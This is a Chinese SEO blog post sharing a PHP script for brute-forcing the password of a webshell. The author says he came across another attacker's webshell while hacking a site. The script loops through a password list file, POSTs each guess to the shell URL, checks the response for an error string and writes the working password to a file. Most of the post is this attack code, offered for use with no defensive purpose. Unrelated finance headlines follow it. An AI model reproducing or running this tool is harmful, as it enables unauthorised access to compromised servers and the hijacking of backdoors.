网站地图 | RSS订阅 老铁博客 - 上海SEO优化|上海网站建设|蜘蛛池出租|站群代搭建
你的位置:首页 » 前端脚本 » 正文

干货!送你最快的webshell爆破脚本!

2019-2-25 9:56:40 | 作者:老铁SEO | 0个评论 | 人浏览

撸站的时候遇到一个大马,在网上下载了无数webshell爆破器,没一个能用的!

真是鄙视这群写代码的,不测试就到处发布!

本来打算用c#写的,电脑没装环境,就用php写了一个!

因为php特性,单线程的,多开几个窗口吧!

$passarr=file("pass2.txt");

foreach ($passarr as $key => $value) {

$value=str_replace(chr(10),"",str_replace(chr(13),"",$value));

$gettoken=postdata("http://127.0.0.1/shell.php",array("postpass" => "{$value}"),"密码错误");

}

/*

/ postdata($url,$data,$par);

/ $url webshell地址 string

/ $data 把postdata换成你的密码参数

/ $par 错误关键词

*/

function postdata($url,$data,$par){

$curl = curl_init();

curl_setopt($curl, CURLOPT_URL, $url);

curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);

curl_setopt($curl, CURLOPT_POST, 1);

$post_data = $data;

curl_setopt($curl, CURLOPT_POSTFIELDS, $post_data);

$data1 = curl_exec($curl);

curl_close($curl);

if (strpos($data1, $par)>1) {

print_r($data["postpass"]."错误\n");

return;

}else{

file_put_contents("OOOK.txt",$data["postpass"],FILE_APPEND);

die($data["postpass"]."爆破成功");

}

print_r(strpos($data1, $par));

print_r($par);

}

function decodeUnicode($str)

{

return preg_replace_callback('/\\\\u([0-9a-f]{4})/i',

create_function(

'$matches',

'return mb_convert_encoding(pack("H*", $matches[1]), "UTF-8", "UCS-2BE");'

),

$str);

}

?>

已有0位网友发表了一针见血的评论,你还等什么?

必填

选填

记住我,下次回复时不用重新输入个人信息

必填,不填不让过哦,嘻嘻。

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。

福建阳光集团拟发3亿债券 上半年末有息负债超1335亿
陈一铭:元旦假期临近 警惕流动性风险
收评:北向资金流入44.28亿 30日净流入1107.64亿元
两名中国游客在菲律宾薄荷岛溺水身亡
贵州茅台股价逼近1200元 年内市值飙升超过7000亿
决策分析:美元一路杀跌 非美货币和黄金扶摇直上
创历史新高:年内18家上市公司退市 9家被强退
东方红品质优选定开发行:孔令超管偏债"基"年化6.14%
杨德龙:A股这轮慢牛长牛行情正渐入佳境
ST亚星拟购科源制药及宏济堂股份 或构成重组上市
,